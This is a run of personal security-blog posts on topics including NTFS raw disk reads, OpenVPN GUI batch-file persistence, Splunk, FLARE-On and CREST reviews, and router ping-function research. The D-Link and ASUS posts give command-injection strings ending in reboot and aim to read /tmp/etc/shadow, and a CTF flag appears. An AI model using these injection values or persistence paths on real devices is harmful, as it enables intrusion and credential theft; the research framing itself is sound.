<p>This is the lowest level possible. We are opening a handle to the raw device. With this level of access, we can read or write individual bytes on the hard disk itself. The challenge with this method is the lack of any data structures. You will need to define your own MFT entry structure, MFT structure and start parsing the blob of data you have just read. While the <code>$MFT</code> is rather well researched, others such as <code>$I30</code>, <code>$LogFile</code> are largely unknown. That said, with this level of access, the sky is the limit. You could selectively overwrite event log entries or even system drivers. However, it is also extremely dangerous, improper writes may leave your filesystem in an inconsistent state or corrupt it entirely. </p>
<p>As of Windows Vista and Server 2008, Microsoft has <a href="https://support.microsoft.com/en-us/help/942448/changes-to-the-file-system-and-to-the-storage-stack-to-restrict-direct">blocked direct disk write to mounted volumes</a>. It is still possible to do direct disk read on mounted volumes. The <a href="https://github.com/clymb3r/PowerShell/tree/master/Invoke-NinjaCopy">Invoke-Ninjacopy library</a> does just that. </p>Windows Persistency With OpenVPN GUI2018-12-29T11:16:00+08:002018-12-29T11:16:00+08:00Benjamin Limtag:limbenjamin.com,2018-12-29:/articles/windows-persistency-with-openvpn-gui.html<p>OpenVPN GUI will automatically run the following batch files if it exists. No changes to config file is needed, just drop the batch file in place. Possible privilege escalation if user runs OpenVPN GUI with administrator privileges and uses a VPN config in his home directory.</p>
<ol>
<li>%HOMEPATH%\OpenVPN\config\(config …</li></ol><p>OpenVPN GUI will automatically run the following batch files if it exists. No changes to config file is needed, just drop the batch file in place. Possible privilege escalation if user runs OpenVPN GUI with administrator privileges and uses a VPN config in his home directory.</p>
<ol>
<li>%HOMEPATH%\OpenVPN\config\(config name)_pre.bat (Before connection initiated)</li>
<li>%HOMEPATH%\OpenVPN\config\(config name)_up.bat (After connection setup)</li>
<li>%HOMEPATH%\OpenVPN\config\(config name)_down.bat (After connection teardown)</li>
<li>%PROGRAMFILES%\OpenVPN\config\(config name)_pre.bat</li>
<li>%PROGRAMFILES%\OpenVPN\config\(config name)_up.bat</li>
<li>%PROGRAMFILES%\OpenVPN\config\(config name)_down.bat</li>
</ol>
<p><img alt="image" src="//limbenjamin.com/media/openvpn.png"></p>Migrating rsyslog to Splunk2018-12-02T19:04:00+08:002018-12-02T19:04:00+08:00Benjamin Limtag:limbenjamin.com,2018-12-02:/articles/migrating-rsyslog-to-splunk.html<p>I recently decided to migrate my server cluster's logging mechanism from rsyslog to Splunk. My previous setup was to use rsyslog to centralise all logging onto <code>/var/remotelog/</code> on a central server. I then configured the Splunk indexer to index both <code>/var/log/</code> as well as <code>/var/remotelog/</code>, this allowed …</p><p>I recently decided to migrate my server cluster's logging mechanism from rsyslog to Splunk. My previous setup was to use rsyslog to centralise all logging onto <code>/var/remotelog/</code> on a central server. I then configured the Splunk indexer to index both <code>/var/log/</code> as well as <code>/var/remotelog/</code>, this allowed me to monitor all security events from a single Splunk dashboard. However, there were a few minor issues with such a setup. Firstly, some services such as Apache do not natively support syslog, hence a workaround is to use <code>/usr/bin/logger</code> to perform the remote logging. This results in a log file with an additional hostname field that does not play nice with Splunk's pretrained source logs. Secondly, Splunk's log forwarding is supposedly more robust. The forwarder can buffer logs when the indexer is offline and is able to better buffer writes, thus reducing disk usage.</p>
<p>With that, I started my migration. It was a relatively simple process. Firstly, I modified syslog configuration to log locally to <code>/var/log/</code>, installed splunk forwarder, and configured it to listen for changes to <code>/var/log/</code> , forwarding entries to the central server. Over on the central server (x.x.x.x), I set it up to listen on port yyyy.</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span>
<span class="normal">2</span>
<span class="normal">3</span>
<span class="normal">4</span></pre></div></td><td class="code"><div><pre><span></span><code> dpkg -i /tmp/splunkforwarder-0.1.2.3-linux-0.1-amd64.deb
/opt/splunkforwarder/bin/splunk add forward-server x.x.x.x:yyyy
/opt/splunkforwarder/bin/splunk add monitor /var/log
/opt/splunkforwarder/bin/splunk start
</code></pre></div></td></tr></table></div>
<p>And the logs started coming in... However, the sourcetype was still wrong. I had <code>too_small</code> appended behind each of the sourcetypes. After some googling, I realised that because I had just switched to local logging, my log files were really small and Splunk was not able to analyse it and assign it one of the pretrained sourcetypes. At this point, there are 2 options. The first is to wait for the logs to naturally populate and setup Splunk another day. The alternative is to pad the files with appropriate content. If <code>auth.log</code> only had 200 lines, you could repeatedly copy those 200 lines until the file is approximately 100KB. Splunk will then be able to correctly detect the sourcetype. The annoying part about this is that Splunk would not recategorise the sourcetype automatically after the file is of a decent size, hence what I had to do was to uninstall the Splunk forwarder, reinstall and set it up once again.</p>
<p>Happy logging! </p>SANS FOR508 review2018-11-01T22:55:00+08:002018-11-01T22:55:00+08:00Benjamin Limtag:limbenjamin.com,2018-11-01:/articles/SANS-FOR508-review.html<p>I was back at SANS October Singapore this year. Not much changed compared to the past year, the venue was the same, food was the same, even some of the course participants were familiar. This year, I signed up for the FOR508 course, as well as both NetWars Core and …</p><p>I was back at SANS October Singapore this year. Not much changed compared to the past year, the venue was the same, food was the same, even some of the course participants were familiar. This year, I signed up for the FOR508 course, as well as both NetWars Core and Defense. It was really tiring having 3 days of consecutive back to back CTF challenges, NetWars Core on Thursday and Friday nights and FOR508 on Saturday. Nevertheless I prevailed, winning all 3 challenge coins in the process. </p>
<h1>FOR508</h1>
<p>Coming from a pentesting and red teaming background does have its advantage when doing threat hunting and digital forensics. I was very familiar with all the lateral movement and persistency techniques covered in the first few days of the course. However, what is rather interesting is the acquisition of these artefacts. When performing red teaming, you can easily use "reg query" or "Get-WmiObject" to enumerate the entries on a live system. With forensics, the system could be offline, hence different tools have to be used to parse the registry hives or WMI repository on disk to enumerate these entries. I also found the content on NTFS timestamping behaviour as well as the lesser known artefacts such as $I30 and $UsnJrnl to be quite useful. This is especially so since the timestamps are rather non-intuitive and I was very confused by it when I first encountered it.</p>
<h1>NetWars Core</h1>
<p>The initial levels of NetWars Core were rather annoying. There were huge background stories (wall of text), snippets of information everywhere and binaries that beeped for a few seconds before returning the output. I guess I was used to the more straightforward crackme style of challenges (e.g. FLARE-On). It could be rather exciting especially if you are a Star Wars fan and were playing at leisure. But with only 6 hours in total, I wouldn't want to process so much extraneous information or wait for the binary to return an output. Once I got to level 3, things started getting more exciting with the pentest challenge. I only managed to make it halfway through level 3, nevertheless the effort was enough to place me in the top 5. I will definitely be returning to crack the rest of level 3 and move to level 4.</p>
<h1>NetWars Defense</h1>
<p>Suprise suprise! After getting the USB key, I realised that the challenge was exactly the same as the previous year. It was a rather leisurely game as I could recall the solutions for some of the more tricky questions. This year I finally managed to finish all the questions, netting me a second coin with a score of 774. I will likely not be returning anymore, not at least until the challenge gets updated.</p>FLARE-On 5 wasm with Chrome2018-10-12T21:30:00+08:002018-10-12T21:30:00+08:00Benjamin Limtag:limbenjamin.com,2018-10-12:/articles/flare-on-5-wasm-with-chrome.html<p>Most of the solutions for FLARE-On 5 web2point0 challenge involve the use of a framework to decompile WebAssembly. Chrome offers the ability to debug WebAssembly code which gives us the opportunity to solve this challenge without any other tools. </p>
<p>When solving simpler crackme binaries, we usually look for the <code>strcmp …</code></p><p>Most of the solutions for FLARE-On 5 web2point0 challenge involve the use of a framework to decompile WebAssembly. Chrome offers the ability to debug WebAssembly code which gives us the opportunity to solve this challenge without any other tools. </p>
<p>When solving simpler crackme binaries, we usually look for the <code>strcmp</code> function call near the end of the execution and put a breakpoint there. The reason is that the code which decodes or decrypts the actual password has to run first before the plaintext password is stored in memory and compared to the user input. </p>
<p>A similar strategy can be used here. We will need to set a breakpoint on Function 9 Line 300, at the <code>i32.eq</code> function call. That operation compares the individual characters of the actual password, the first variable on the stack, with the corresponding character from the user input, the second variable on the stack. The image below shows the first comparison loop. The first character of the password is <code>119</code>. If we step through, we will get the second character and so on. The full password obtained is <code>119 97 115 109 95 114 117 108 101 122 95 106 115 95 100 114 111 111 108 122 64 102 108 97 114 101 45 111 110 46 99 111 109</code>, when converted to ascii <code>wasm_rulez_js_droolz@flare-on.com</code>.</p>
<p><img alt="image" src="//limbenjamin.com/media/flareon_wasm.png"></p>Reasonable use of personal data2018-09-09T18:54:00+08:002018-09-09T18:54:00+08:00Benjamin Limtag:limbenjamin.com,2018-09-09:/articles/reasonable-use-of-personal-data.html<p>I had to place an obituary in the Straits Times recently. SPH offers an online service where you can use their tool to design the obituary and make payment, all without going down to their office.</p>
<p>I decided to use the service. I entered my personal details and contact information …</p><p>I had to place an obituary in the Straits Times recently. SPH offers an online service where you can use their tool to design the obituary and make payment, all without going down to their office.</p>
<p>I decided to use the service. I entered my personal details and contact information into the first page of the application and clicked next to proceed to the second page where I started designing the obituary. Midway through the process, I realised that I did not have complete information of all the descendants and thus decided to close the tab and redo the application later.</p>
<p>About 10 minutes after I closed the page, I received a call from SPH. Clare from SPH asked me why I had stopped midway through the application and if I encountered any technical difficulties. I was immediately creeped out. How did SPH know? After I had the chance to collect my thoughts, I realised that I had entered my personal details on the first page and checked a box allowing them to use the contact information entered. SPH had someone monitoring the page in real time and called people with incomplete applications.</p>
<p>Granted, what SPH did was most probably legal, I checked the box allowing them to use the information for "conducting market research for statistical, profiling and statistical analysis for the improvement of services". However, I believe what they did deviated from reasonable expectations on the use of that data. I would expect that they only contact users who have fully submitted the entire application. If they really wanted to follow up on incomplete applications, they should also have used a less intrusive means of communication e.g. email, especially since this is only a sales lead, and I am not a paying customer yet. It is widely known that such data is usually collected and used to improve website design, the industry uses terms like "drop-off rate", "conversions" and "funnels". However, companies are usually more discreet and do not directly call up the users. With the media revolution going on, SPH is probably hard up for cash. Nevertheless, resorting to such hard sell tactics leave people with a bad impression. </p>
<p>Imagine if you were shopping at a supermarket and while paying, the cashier embarrasses you by enquiring why you put away the Häagen-Dazs ice-cream and picked up the house brand one instead. The more discreet way would be to email you a coupon at the end of the day with a discount for the Häagen-Dazs ice-cream. At least, the customer would not be so blatantly confronted with the fact that the supermarket was surveilling his every move in real time.</p>
<p>From a security perspective, imagine what mischief could be done. You could fill up the contact information of someone you are not particularly fond of. In about 10 minutes, that poor sod is going to receive a confusing call from SPH asking him about placing an obituary. </p>
<p>Eventually, I ended up using their service as there is no viable alternative for placing obituaries. SPH also ended up using the data in an expected and reasonable manner. They called me up to confirm the layout and informed me that it would be published in the next day's papers. Thinking back, it is rather sad that someone probably spent a few years studying mass communication just to end up in a job doing layouts for obituaries.</p>Improvements to SEAB's investigation process2018-08-06T23:06:00+08:002018-08-06T23:06:00+08:00Benjamin Limtag:limbenjamin.com,2018-08-06:/articles/improvements-to-seabs-investigation-process.html<p>Today newspaper published an <a href="https://www.todayonline.com/singapore/o-level-exam-cheating-case-invigilators-describe-how-cheating-was-discovered">article</a> on how SEAB handled the investigation into the O-level cheating case. I was mildly horrified upon reading it and felt that the investigation could have been conducted in a more professional manner. The perpetrators discovered that they were caught even before the end of the …</p><p>Today newspaper published an <a href="https://www.todayonline.com/singapore/o-level-exam-cheating-case-invigilators-describe-how-cheating-was-discovered">article</a> on how SEAB handled the investigation into the O-level cheating case. I was mildly horrified upon reading it and felt that the investigation could have been conducted in a more professional manner. The perpetrators discovered that they were caught even before the end of the second paper and started to destroy evidence before the end of the day. From what I gathered, the prosecution had to rely on witness testimony because digital evidence was destroyed before law enforcement could get to it. There could have been more students involved and were not caught due to the lack of evidence. In my opinion, the following points could be improved upon. </p>
<blockquote>
<p><i class="fa fa-quote-left fa-lg"></i> (SEAB advised Ms Chiew to) pull Mr Chen aside after the English Paper 1 exam to conduct further investigations. <i class="fa fa-quote-right fa-lg"></i> </p>
</blockquote>
<p>The decision to reveal the investigation should not be taken lightly. Where possible, investigations should first be conducted in a covert manner to avoid alarming the perpetrator. At this point, the most crucial thing is to determine if this is an isolated case or if it is part of a larger cheating ring. I would choose to discreetly observe and record down the student's actions and look out for similar suspicious activity from the other students. Only when no additional information can be gained from observation should the investigation then proceed in an overt manner. </p>
<blockquote>
<p><i class="fa fa-quote-left fa-lg"></i> Mr Benin testified that the mobile phone they had confiscated from him (Mr Chen) began lighting up with messages in Mandarin <i class="fa fa-quote-right fa-lg"></i> </p>
</blockquote>
<p>This statement is rather revealing. If SEAB managed to preserve the digital evidence, the evidence would speak for itself and Mr Benin would not need to testify. Due to the lack of digital evidence, the court can only rely on witness testimony. Digital evidence, when collected in a forensically sound manner, carries more weight and would have made the prosecution's job easier. </p>
<p>While interrogating Mr Chen, he confessed that it involved a tuition centre. This shows that this case is very likely part of a larger cheating ring. At this point, I would either intimidate him or seek his cooperation in exchange for leniency depending on his mental state. I would return the phone and ask him to behave normally, so as not to alert the perpetrators. Since the name of the tuition centre is already known, law enforcement should be quickly involved to seize evidence from the tuition centre. By returning the phone, there is a risk that Mr Chen might alert the perpetrators, however confiscating the phone would also alert them. </p>
<blockquote>
<p><i class="fa fa-quote-left fa-lg"></i> Using his own mobile phone, Mr Benin called that number on the pretext that someone had called him in the morning, and asked who was on the line. <i class="fa fa-quote-right fa-lg"></i> </p>
</blockquote>
<p>This is not a smart move. What response was Mr Benin expecting? Earlier on, we have already discovered that this is a cheating ring. That line is likely a dedicated line used to send out answers and thus would not be receiving incoming calls. This likely helped the perpetrators discover even earlier that they were caught. </p>
<blockquote>
<p><i class="fa fa-quote-left fa-lg"></i> Ms Chiew and Mr Benin then drove to SEAB, located at Geylang Bahru Lane, to hand over the exam script and devices. When they got there, they noticed that "someone had somehow reset the phone". <i class="fa fa-quote-right fa-lg"></i> </p>
</blockquote>
<p>There is a legal concept known as chain of custody. Upon confiscation, the phone should be sealed in a bag and signed. There should be accompanying documentation and the seal should only be broken by the forensic analyst. The entire process should be witnessed. This ensures that the evidence has not been tampered with. Mr Benin cannot just put the phone in his pocket. The defence lawyer can argue that Mr Benin works in a rival tuition agency and swapped the phone while in the car to sabotage this tuition agency. </p>
<p>This process should be quite familiar to SEAB as I believe exam papers are sealed in the same way to ensure that papers have not been swapped. </p>
<blockquote>
<p><i class="fa fa-quote-left fa-lg"></i> When they got there, they noticed that "someone had somehow reset the phone. Mr Benin elaborated that the iPhone displayed... <i class="fa fa-quote-right fa-lg"></i> </p>
</blockquote>
<p>The best course of action would be to immediately place the phone in a Faraday bag. A Faraday bag blocks all electromagnetic transmission, the phone will lose all signal and thus it cannot be successfully wiped. The second best alternative would be to switch it off and remove the battery. Some volatile data would be lost, but I believe it is negligible in this case since Mr Benin already has the passcode. </p>
<p>Most smartphones have the ability to perform a remote wipe of lost devices. iPhones have encryption enabled by default. This means that once wiped, it is impossible to recover the original data. At this point, I believe that the tuition agency started wiping all their other phones and shredding all enrolment and student records to avoid implicating the other students who were not caught. </p>
<p>In conclusion, this investigation could have been handled in a much better manner. As cheating becomes more sophisticated, a better process should be put in place to deal with such cheating cases and closer cooperation with law enforcement is needed to quickly respond before the evidence is destroyed. </p>D-Link router's ping function2018-07-22T18:26:00+08:002018-07-22T18:26:00+08:00Benjamin Limtag:limbenjamin.com,2018-07-22:/articles/dlink-routers-ping-function.html<p>D-Link routers have a basic ping function built in to them. Unlike their ASUS counterparts, which have ping, netstat, traceroute and nslookup builtin, D-Link routers have much more basic functionality. The ping function only displays success or failure and not the entire raw output of the command. Hence, on first …</p><p>D-Link routers have a basic ping function built in to them. Unlike their ASUS counterparts, which have ping, netstat, traceroute and nslookup builtin, D-Link routers have much more basic functionality. The ping function only displays success or failure and not the entire raw output of the command. Hence, on first look, it appears to be more secure. </p>
<p>The first step involves downloading the router firmware from D-Link's website and using binwalk to unpack the firmware. binwalk detected a squashfs file system, which is what we are looking for. sqaushfs is a read only file system, perfect for embedded devices since we do not store files on routers. After searching through the filesystem, I found the page responsible for the ping function located at <code>/www/tools_vct.asp</code>. The pertinent code in the file is as follows.</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal"> 1</span>
<span class="normal"> 2</span>
<span class="normal"> 3</span>
<span class="normal"> 4</span>
<span class="normal"> 5</span>
<span class="normal"> 6</span>
<span class="normal"> 7</span>
<span class="normal"> 8</span>
<span class="normal"> 9</span>
<span class="normal">10</span>
<span class="normal">11</span>
<span class="normal">12</span>
<span class="normal">13</span>
<span class="normal">14</span>
<span class="normal">15</span>
<span class="normal">16</span>
<span class="normal">17</span>
<span class="normal">18</span>
<span class="normal">19</span>
<span class="normal">20</span>
<span class="normal">21</span></pre></div></td><td class="code"><div><pre><span></span><code><span class="kd">function</span><span class="w"> </span><span class="nx">check_ip</span><span class="p">(){</span>
<span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">get_by_id</span><span class="p">(</span><span class="s2">"ping_ipaddr"</span><span class="p">).</span><span class="nx">value</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="s2">""</span><span class="p">){</span>
<span class="nx">alert</span><span class="p">(</span><span class="nx">tsc_pingt_msg2</span><span class="p">);</span>
<span class="k">return</span><span class="w"> </span><span class="kc">false</span><span class="p">;</span>
<span class="p">}</span><span class="k">else</span><span class="p">{</span>
<span class="k">return</span><span class="w"> </span><span class="kc">true</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">...</span>
<span class="o"><</span><span class="nx">form</span><span class="w"> </span><span class="nx">id</span><span class="o">=</span><span class="s2">"form5"</span><span class="w"> </span><span class="nx">name</span><span class="o">=</span><span class="s2">"form5"</span><span class="w"> </span><span class="nx">method</span><span class="o">=</span><span class="s2">"post"</span><span class="w"> </span><span class="nx">action</span><span class="o">=</span><span class="s2">"ping_response.cgi"</span><span class="o">></span>
<span class="o"><</span><span class="nx">input</span><span class="w"> </span><span class="nx">type</span><span class="o">=</span><span class="s2">"hidden"</span><span class="w"> </span><span class="nx">id</span><span class="o">=</span><span class="s2">"html_response_page"</span><span class="w"> </span><span class="nx">name</span><span class="o">=</span><span class="s2">"html_response_page"</span><span class="w"> </span><span class="nx">value</span><span class="o">=</span><span class="s2">"tools_vct.asp"</span><span class="o">></span>
<span class="o"><</span><span class="nx">input</span><span class="w"> </span><span class="nx">type</span><span class="o">=</span><span class="s2">"hidden"</span><span class="w"> </span><span class="nx">id</span><span class="o">=</span><span class="s2">"html_response_return_page"</span><span class="w"> </span><span class="nx">name</span><span class="o">=</span><span class="s2">"html_response_return_page"</span><span class="w"> </span><span class="nx">value</span><span class="o">=</span><span class="s2">"tools_vct.asp"</span><span class="o">></span>
<span class="o"><</span><span class="nx">tr</span><span class="o">></span>
<span class="o"><</span><span class="nx">td</span><span class="o">></span>
<span class="o"><</span><span class="nx">div</span><span class="w"> </span><span class="nx">align</span><span class="o">=</span><span class="s2">"right"</span><span class="o">><</span><span class="nx">strong</span><span class="o">></span>
<span class="o"><</span><span class="nx">script</span><span class="o">></span><span class="nx">show_words</span><span class="p">(</span><span class="nx">tsc_pingt_h</span><span class="p">)</span><span class="o"><</span><span class="err">/script></span>
<span class="o">&</span><span class="nx">nbsp</span><span class="p">;</span><span class="o">:&</span><span class="nx">nbsp</span><span class="p">;</span><span class="o"><</span><span class="err">/strong></div></td></span>
<span class="o"><</span><span class="nx">td</span><span class="w"> </span><span class="nx">height</span><span class="o">=</span><span class="s2">"20"</span><span class="w"> </span><span class="nx">valign</span><span class="o">=</span><span class="s2">"top"</span><span class="o">>&</span><span class="nx">nbsp</span><span class="p">;</span>
<span class="o"><</span><span class="nx">input</span><span class="w"> </span><span class="nx">type</span><span class="o">=</span><span class="s2">"text"</span><span class="w"> </span><span class="nx">id</span><span class="o">=</span><span class="s2">"ping_ipaddr"</span><span class="w"> </span><span class="nx">name</span><span class="o">=</span><span class="s2">"ping_ipaddr"</span><span class="w"> </span><span class="nx">size</span><span class="o">=</span><span class="mf">30</span><span class="w"> </span><span class="nx">maxlength</span><span class="o">=</span><span class="mf">63</span><span class="w"> </span><span class="nx">value</span><span class="o">=</span><span class="s2">"<% CmoGetStatus("</span><span class="nx">ping_ipaddr</span><span class="s2">"); %>"</span><span class="w"> </span><span class="o">></span>
<span class="o"><</span><span class="nx">script</span><span class="o">></span><span class="nb">document</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="s1">'<input name="ping" id="ping" type="submit" value="'</span><span class="o">+</span><span class="nx">_ping</span><span class="o">+</span><span class="s1">'" onClick="return check_ip()">'</span><span class="p">)</span><span class="o"><</span><span class="err">/script></td></span>
<span class="o"><</span><span class="err">/tr> </form></span>
</code></pre></div></td></tr></table></div>
<p>Despite what the code suggests, I could not find <code>ping_response.cgi</code>. In fact, there were no CGI files found on anywhere on the file system. I began to suspect that D-Link designed their router firmware in a similar way as ASUS. A quick strings of the <code>/sbin/httpd</code> binary confirmed my suspicions, as a number of cgi filnames were found in the binary. The other function of interest is <code>CmoGetStatus("ping_ipaddr")</code>. I managed to find the corresponding function of the same name in the binary, it called the <code>get_ping_app_stat</code> function which performed the actual pinging.</p>
<p><img alt="image" src="//limbenjamin.com/media/dlinkping.png"></p>
<p>This time, the actual command used is <code>"ping -c 1 \"%s\" > /var/misc/ping_app.txt"</code>. It seems remarkably similar in design to the ASUS router. Both used system commands and piped the output to a file. For D-Link's case, since the output is not displayed, the best we can achieve is blind command execution. Unfortunately, the router does not support telnet/ssh and there was no wget/curl/nc binary present. Hence, one possible way I could think of to verify success of command execution is to issue the reboot command. I tried the following without any success.</p>
<ul>
<li>192.168.1.1#;/sbin/reboot</li>
<li>192.168.1.1#";/sbin/reboot"</li>
<li>192.168.1.1#\";/sbin/reboot\"</li>
</ul>CREST CPSA Review2018-05-16T10:00:00+08:002018-05-16T10:00:00+08:00Benjamin Limtag:limbenjamin.com,2018-05-16:/articles/crest-cpsa-review.html<p>Compared to the OSCP or even the CISSP exam, there seems to be very little information online about CREST examinations. Hence, the reason why I want to share my thoughts on the CREST CPSA exam. That said, all candidates had to agree to an NDA, I will try to provide …</p><p>Compared to the OSCP or even the CISSP exam, there seems to be very little information online about CREST examinations. Hence, the reason why I want to share my thoughts on the CREST CPSA exam. That said, all candidates had to agree to an NDA, I will try to provide as much information as possible without breaching the NDA. </p>
<h1>1. Exam</h1>
<p>I took the exam recently and passed it on my first attempt. I took it under the new format, 120 MCQ questions in 2 hours, no reference materials allowed. I would say that 2 hours is enough time, as the questions are generally straightforward. If you don't know the answer, however much time is unlikely to help. I completed the questions in about 1 hour, flagging out questions which I was unsure about. I then spent about 30 minutes going through flagged questions and checking for careless mistakes. I ended the test early and immediately received a printout with my score. You will need 60% or 72 questions correct to pass. I passed with a rather comfortable score.</p>
<p>I obviously can't share the exam questions. What I can share is that the example question below provided freely by CREST themselves in the Notes for Candidates is representative of the questions in the exam. As you can see, you either know the answer or you don't, no extra amount of time is likely to help in figuring out the answer. </p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span>
<span class="normal">2</span>
<span class="normal">3</span>
<span class="normal">4</span>
<span class="normal">5</span>
<span class="normal">6</span>
<span class="normal">7</span>
<span class="normal">8</span></pre></div></td><td class="code"><div><pre><span></span><code>Which of the following is NOT a valid DNS record type?
A. SOA – Start of Authority
B. NWS – News Server
C. CNAME – Canonical Name
D. MX – Mail eXchange
E. PTR - Domain Name Pointer
The correct answer is (B).
</code></pre></div></td></tr></table></div>
<h1>2. Exam Centre</h1>
<p>The test was conducted at a Pearson Vue exam centre using a computer based testing software. I took my CISSP in near exact same conditions. There will be other test takers taking different exams starting and ending at different times in the same exam room. That said, the exam room was very quiet and I was not interrupted at all. For both exams, I was also given a laminated sheet of paper and a marker to take any notes required.</p>
<p>One thing to note is that the moment you enter the Pearson Vue examination centre at Cuppage road, you will be asked to register and put away your belongings. It will take a few minutes to get the workstation ready and the exam will commence. Hence, if you arrive early and want to do some last minute revision, do not enter the exam centre. Do your revision outside. I do not know if this is specific to the Cuppage road centre.</p>
<h1>3. Preparations</h1>
<p>Due to the wide breadth of knowledge tested, I do believe some amount of preparation is necessary. For preparation, I relied a lot on the syllabus document provided by CREST. I found that the recommended reading materials were not that useful and mainly relied on googling the topics that I was unfamiliar with. I would say that the syllabus document is very accurate and everything that was tested in the exam was indeed covered in the syllabus document. If you go through the document religiously item by item and read up anything you are unfamiliar with, it should be sufficient to pass.</p>
<p>The challenge is knowing how deep to go. After all, you do not want to spent hours reading up on the intricacies of some obscure protocol. My advice is that CPSA is an entry level certification, the example question above is representative of the difficulty of the questions in the exam.</p>
<p>Good luck!</p>ASUS router's ping function2018-04-27T10:04:00+08:002018-04-27T10:04:00+08:00Benjamin Limtag:limbenjamin.com,2018-04-27:/articles/asus-routers-ping-function.html<p>ASUS routers have diagnostic tools built into their dashboard which allows authenticated web users to execute ping and netstat commands and have the output be displayed on the webpage. Naturally, this seems like a really good entry point to perform command injection, have the router execute <code>cat /tmp/etc/shadow …</code></p><p>ASUS routers have diagnostic tools built into their dashboard which allows authenticated web users to execute ping and netstat commands and have the output be displayed on the webpage. Naturally, this seems like a really good entry point to perform command injection, have the router execute <code>cat /tmp/etc/shadow</code> and display the output. Therefore, I decided to look into how the ping function is implemented.</p>
<p><img alt="image" src="//limbenjamin.com/media/asusping.png"></p>
<p>The first step involves downloading the router firmware from ASUS's website and using binwalk to unpack the firmware. binwalk detected a squashfs file system, which is what we are looking for. sqaushfs is a read only file system, perfect for embedded devices since we do not store files on routers. After searching through the filesystem, I found the page responsible for the ping function located at <code>/www/Main_Analysis_Content.asp</code>. Much of the page is plain HTML/JS so there might have been no need to get into the firmware at all. The pertinent code in the file is as follows.</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal"> 1</span>
<span class="normal"> 2</span>
<span class="normal"> 3</span>
<span class="normal"> 4</span>
<span class="normal"> 5</span>
<span class="normal"> 6</span>
<span class="normal"> 7</span>
<span class="normal"> 8</span>
<span class="normal"> 9</span>
<span class="normal">10</span>
<span class="normal">11</span>
<span class="normal">12</span>
<span class="normal">13</span>
<span class="normal">14</span>
<span class="normal">15</span>
<span class="normal">16</span>
<span class="normal">17</span>
<span class="normal">18</span>
<span class="normal">19</span>
<span class="normal">20</span>
<span class="normal">21</span>
<span class="normal">22</span>
<span class="normal">23</span>
<span class="normal">24</span>
<span class="normal">25</span>
<span class="normal">26</span>
<span class="normal">27</span>
<span class="normal">28</span>
<span class="normal">29</span>
<span class="normal">30</span>
<span class="normal">31</span>
<span class="normal">32</span>
<span class="normal">33</span>
<span class="normal">34</span>
<span class="normal">35</span>
<span class="normal">36</span>
<span class="normal">37</span>
<span class="normal">38</span>
<span class="normal">39</span>
<span class="normal">40</span>
<span class="normal">41</span>
<span class="normal">42</span>
<span class="normal">43</span>
<span class="normal">44</span>
<span class="normal">45</span>
<span class="normal">46</span>
<span class="normal">47</span>
<span class="normal">48</span>
<span class="normal">49</span></pre></div></td><td class="code"><div><pre><span></span><code><span class="kd">function</span><span class="w"> </span><span class="nx">onSubmitCtrl</span><span class="p">(</span><span class="nx">o</span><span class="p">,</span><span class="w"> </span><span class="nx">s</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nb">document</span><span class="p">.</span><span class="nx">form</span><span class="p">.</span><span class="nx">action_mode</span><span class="p">.</span><span class="nx">value</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">s</span><span class="p">;</span>
<span class="w"> </span><span class="nx">updateOptions</span><span class="p">();</span>
<span class="p">}</span>
<span class="kd">function</span><span class="w"> </span><span class="nx">updateOptions</span><span class="p">(){</span>
<span class="w"> </span><span class="k">if</span><span class="p">(</span><span class="nb">document</span><span class="p">.</span><span class="nx">form</span><span class="p">.</span><span class="nx">destIP</span><span class="p">.</span><span class="nx">value</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="s2">""</span><span class="p">){</span>
<span class="w"> </span><span class="nb">document</span><span class="p">.</span><span class="nx">form</span><span class="p">.</span><span class="nx">destIP</span><span class="p">.</span><span class="nx">value</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">AppListArray</span><span class="p">[</span><span class="mf">0</span><span class="p">][</span><span class="mf">1</span><span class="p">];</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">if</span><span class="p">(</span><span class="nb">document</span><span class="p">.</span><span class="nx">form</span><span class="p">.</span><span class="nx">cmdMethod</span><span class="p">.</span><span class="nx">value</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="s2">"ping"</span><span class="p">){</span>
<span class="w"> </span><span class="k">if</span><span class="p">(</span><span class="nb">document</span><span class="p">.</span><span class="nx">form</span><span class="p">.</span><span class="nx">pingCNT</span><span class="p">.</span><span class="nx">value</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="s2">""</span><span class="p">){</span>
<span class="w"> </span><span class="nb">document</span><span class="p">.</span><span class="nx">form</span><span class="p">.</span><span class="nx">pingCNT</span><span class="p">.</span><span class="nx">value</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">5</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="nb">document</span><span class="p">.</span><span class="nx">form</span><span class="p">.</span><span class="nx">SystemCmd</span><span class="p">.</span><span class="nx">value</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"ping -c "</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nb">document</span><span class="p">.</span><span class="nx">form</span><span class="p">.</span><span class="nx">pingCNT</span><span class="p">.</span><span class="nx">value</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="s2">" "</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nb">document</span><span class="p">.</span><span class="nx">form</span><span class="p">.</span><span class="nx">destIP</span><span class="p">.</span><span class="nx">value</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">else</span>
